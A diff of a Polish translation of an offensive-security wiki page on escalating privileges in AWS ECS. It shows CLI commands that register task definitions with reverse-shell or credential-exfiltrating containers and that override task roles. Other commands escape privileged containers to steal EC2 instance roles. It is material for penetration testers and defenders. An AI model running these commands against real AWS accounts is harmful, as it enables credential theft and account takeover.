Atakujący nadużywający uprawnień `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**.
|
||||
Atakujący wykorzystujący uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Utwórz webhook na stronie takiej jak webhook.site
|
||||
Utwórz webhook przy użyciu serwisu takiego jak webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Bezpośredni privesc do innej roli ECS.
|
||||
**Potential Impact:** Bezpośrednie privesc do innej ECS roli.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Atakujący, który ma uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS ze zmodyfikowanymi wartościami **execution role**, **task role** oraz kontenerowego **command**. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz kontenerowy `command` bez modyfikowania task definition.
|
||||
Atakujący, który posiada uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` i `command` kontenera bez modyfikowania task definition.
|
||||
|
||||
Określone role IAM dla `taskRoleArn` i `executionRoleArn` muszą w swojej polityce zaufania zezwalać na asumowanie przez `ecs-tasks.amazonaws.com`.
|
||||
Określone role IAM dla `taskRoleArn` i `executionRoleArn` muszą mieć w polityce zaufania wpis umożliwiający asumowanie przez `ecs-tasks.amazonaws.com`.
|
||||
|
||||
Dodatkowo atakujący musi znać:
|
||||
- nazwę klastra ECS
|
||||
- podsieć VPC
|
||||
- security group (jeśli nie zostanie podana, użyta zostanie domyślna)
|
||||
- nazwę Task Definition i numer rewizji
|
||||
- nazwę kontenera
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak, aby atak był możliwy, atakujący musi mieć uprawnienie `iam:PassRole` do roli `taskRoleArn` podanej w komendzie oraz do roli `executionRoleArn` określonej w definicji zadania.
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak atakujący musi mieć uprawnienie `iam:PassRole` do `taskRoleArn` wskazanego w poleceniu oraz do `executionRoleArn` określonego w definicji zadania, aby atak mógł się odbyć.
|
||||
|
||||
Jeżeli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), wtedy atakujący może wskazać tę samą rolę IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w komendzie `ecs run-task`.
|
||||
Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), to atakujący może określić tę samą rolę IAM zarówno dla `executionRoleArn`, jak i `taskRoleArn` w poleceniu `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -125,8 +125,8 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** z **złośliwym containerem**, który kradnie metadata credentials i **uruchomić go**.\
|
||||
Jednak w tym przypadku potrzebna jest container instance, aby uruchomić złośliwy task definition.
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nowy task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić go**.\
|
||||
Jednak w tym przypadku, aby uruchomić złośliwy task definition, musi być dostępna instancja kontenera.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potencjalny wpływ:** Direct privesc do dowolnej roli ECS.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS mogą **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.**
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -171,9 +171,9 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
```
|
||||
**Potential Impact:** Bezpośredni privesc do dowolnej roli ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Tak naprawdę, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, np.:
|
||||
Właściwie, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, przy użyciu czegoś takiego:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -186,11 +186,11 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
|
||||
To nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** na węzeł i **ukraść rolę IAM instancji EC2** oraz **role innych kontenerów ECS** działających na tym węźle.\
|
||||
Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w sekcji [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
To nadal jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **uruchomić uprzywilejowany kontener, aby uciec** na węzeł i **ukraść rolę EC2 IAM** oraz **role innych kontenerów ECS** uruchomionych na tym węźle.\
|
||||
Możesz nawet **wymusić uruchomienie innych zadań wewnątrz instancji EC2**, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Ten atak jest możliwy tylko, jeśli **klaster ECS używa instancji EC2**, a nie Fargate.
|
||||
> Ten atak jest możliwy tylko wtedy, gdy klaster ECS używa instancji EC2, a nie Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,10 +233,9 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz uruchomionego kontenera i wyeksfiltrować przypisaną do niego rolę IAM (wymagane są uprawnienia describe, ponieważ są one konieczne do uruchomienia `aws ecs execute-command`).\
|
||||
Aby to umożliwić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (domyślnie nie jest).
|
||||
Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonać polecenia** wewnątrz uruchomionego kontenera i wyeksfiltrować przypisaną do niego rolę IAM (potrzebujesz uprawnień describe, ponieważ są one niezbędne do uruchomienia `aws ecs execute-command`).\ Jednak aby to zrobić, instancja kontenera musi mieć uruchomiony **ExecuteCommand agent** (który domyślnie nie jest).
|
||||
|
||||
W związku z tym atakujący może spróbować:
|
||||
Dlatego atakujący może spróbować:
|
||||
|
||||
- **Spróbować uruchomić polecenie** w każdym uruchomionym kontenerze
|
||||
```bash
|
||||
@@ -256,18 +255,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Jeśli posiada **`ecs:RunTask`**, uruchom task za pomocą `aws ecs run-task --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:StartTask`**, uruchom task za pomocą `aws ecs start-task --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:RunTask`**, uruchom task przy pomocy `aws ecs run-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:StartTask`**, uruchom task przy pomocy `aws ecs start-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:CreateService`**, utwórz service przy pomocy `aws ecs create-service --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:UpdateService`**, zaktualizuj service przy pomocy `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach ECS privesc**.
|
||||
You can find **examples of those options** in **previous ECS privesc sections**.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów.
|
||||
**Potential Impact:** Privesc do innej roli przypisanej do kontenerów.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:
|
||||
Sprawdź na **ssm privesc page**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +274,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
|
||||
Sprawdź na **ec2 privesc page**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -283,16 +282,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej zadania. Mogłoby to pozwolić atakującemu na wykonanie dowolnego kodu w kontekście zadań ECS.
|
||||
Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej taski. To mogłoby pozwolić atakującemu na wykonanie dowolnego kodu w kontekście tasków ECS.
|
||||
|
||||
- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??
|
||||
- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak że taski będą uruchamiane na maszynach kontrolowanych przez atakującego??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować to
|
||||
|
||||
Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. Umożliwia to atakującemu **wykonanie dowolnego kodu w obrębie tej usługi**.
|
||||
Atakujący posiadający uprawnienia `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` oraz `ecs:DescribeTaskSets` może **create a malicious task set for an existing ECS service and update the primary task set**. To umożliwia atakującemu **execute arbitrary code within the service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,9 +317,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potential Impact**: Wykonanie dowolnego kodu w dotkniętej usłudze, potencjalnie wpływając na jej funkcjonalność lub eksfiltrując poufne dane.
|
||||
**Potencjalny wpływ**: Execute arbitrary code w dotkniętej usłudze, potencjalnie wpływając na jej funkcjonalność lub exfiltrating sensitive data.
|
||||
|
||||
## Referencje
|
||||
## Źródła
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user